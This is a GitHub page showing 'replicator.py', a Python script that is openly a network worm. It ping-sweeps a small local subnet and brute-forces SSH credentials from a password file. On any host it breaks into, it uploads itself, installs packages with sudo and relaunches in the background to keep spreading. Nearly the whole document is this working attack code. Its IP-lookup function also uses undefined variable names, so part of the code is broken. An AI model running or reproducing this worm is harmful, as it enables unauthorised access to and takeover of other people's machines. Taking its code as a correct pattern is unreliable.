-
Notifications
You must be signed in to change notification settings - Fork 1
/
replicator.py
142 lines (112 loc) · 5.07 KB
/
replicator.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
#!/usr/bin/env python
import paramiko
import sys
import os
import netifaces
import subprocess
import time
import logging
##################################################################
# Function that will ping all IP addresses within the given range and
# store all IP addresses that responded
# @return - A list of all responding IP addresses withing the range
##################################################################
def get_list_of_hosts():
hostlist = []
my_IP_address = get_current_IP_address('en0')
FNULL = open(os.devnull, 'w')
#Loop trough 10 different IP's and check if any one of them respons.
for ping in range(1,10):
address = "192.168.2." + str(ping)
#Don't ping my own IP
if(address != my_IP_address):
#Do a ping and turn of output to console
res = subprocess.call(['ping', '-c', '3', address],stdout=FNULL, stderr=subprocess.STDOUT)
if res == 0:
hostlist.append(address)
return hostlist
##################################################################
# Function that will try to establish a ssh connection trying different combinations of usernames and passwords.
# If a connection is valid then it will call the UploadFileAndExecute function
##################################################################
def Attack_SSH(ipAddress) :
logging.info("Attacking Host : %s " %ipAddress)
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
# For each username and password combination try to establish a connection.
for line in open("./passwords.txt", "r").readlines() :
[username, password] = line.strip().split()
try :
logging.info("Trying with username: %s password: %s " % (username, password))
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(ipAddress, username=username, password=password)
except paramiko.AuthenticationException:
logging.info("Failed...")
continue
logging.info("Success ... username: %s and passoword %s is VALID! " % (username, password))
UploadFileAndExecute(ssh)
break
##################################################################
# Open a SSH File Transfer Protocol, and transfer worm files to the reciving machine.
# Once all the files are uploaded, it will install the nessesary libraries and run the worm.
##################################################################
def UploadFileAndExecute(sshConnection) :
print("Upload files to connection...")
sftpClient = sshConnection.open_sftp()
# Create folder to store worm files in
stdin, stdout, stderr = sshConnection.exec_command("mkdir /tmp/worm")
stdout.channel.recv_exit_status() # Blocking call
logging.info("Created folder /tmp/worm")
# Replicate worm files
sftpClient.put("./replicator.py", "/tmp/worm/" + "./replicator.py")
logging.info("Added replicator.py")
sftpClient.put("./passwords.txt", "/tmp/worm/" +"./passwords.txt")
logging.info("Added passwords.txt")
logging.info("Installing python3-pip")
# Install python pip
stdin, stdout, stderr = sshConnection.exec_command("sudo apt -y install python3-pip")
stdout.channel.recv_exit_status()
logging.info("Finished installing python3-pip")
# Install paramiko
logging.info("Installing paramiko")
stdin, stdout, stderr = sshConnection.exec_command("sudo apt-get -y install python-paramiko")
stdout.channel.recv_exit_status()
logging.info("Finished installing paramiko")
# Install netifaces
logging.info("Installing netifaces")
stdin, stdout, stderr = sshConnection.exec_command("sudo apt-get -y install python-netifaces")
stdout.channel.recv_exit_status()
logging.info("Finished installing netifaces")
stdin, stdout, stderr = sshConnection.exec_command("chmod a+x /tmp/worm/" +"replicator.py")
stdout.channel.recv_exit_status()
stdin, stdout, stderr = sshConnection.exec_command("nohup python /tmp/worm/" +"replicator.py passwords.txt"+ " &")
stdout.channel.recv_exit_status()
##################################################################
# Function that retrives the IP address for the current machine.
# @ return - IP address
##################################################################
def get_current_IP_address(interface):
# Get all the network interfaces on the system
network_interfaces = netifaces.interfaces()
ip_Address = None
# Loop through all the interfaces and get IP address
for netFace in networkInterfaces:
# The IP address of the interface
try:
addr = netifaces.ifaddresses(netFace)[2][0]['addr']
except:
continue
if not addr == "127.0.0.1":
ip_Address = addr
return ipAddr
if __name__ == "__main__" :
logging.basicConfig(filename='worm.log',level=logging.DEBUG)
logging.getLogger("paramiko").setLevel(logging.WARNING)
logging.info('Staring worm...')
hostlist = get_list_of_hosts()
list_string = str(hostlist)
logging.info("Available hosts are: " + list_string)
#Loop trough the list of all responding IP's and try to connect with ssh
for host in hostlist:
Attack_SSH(host)
logging.info("Done")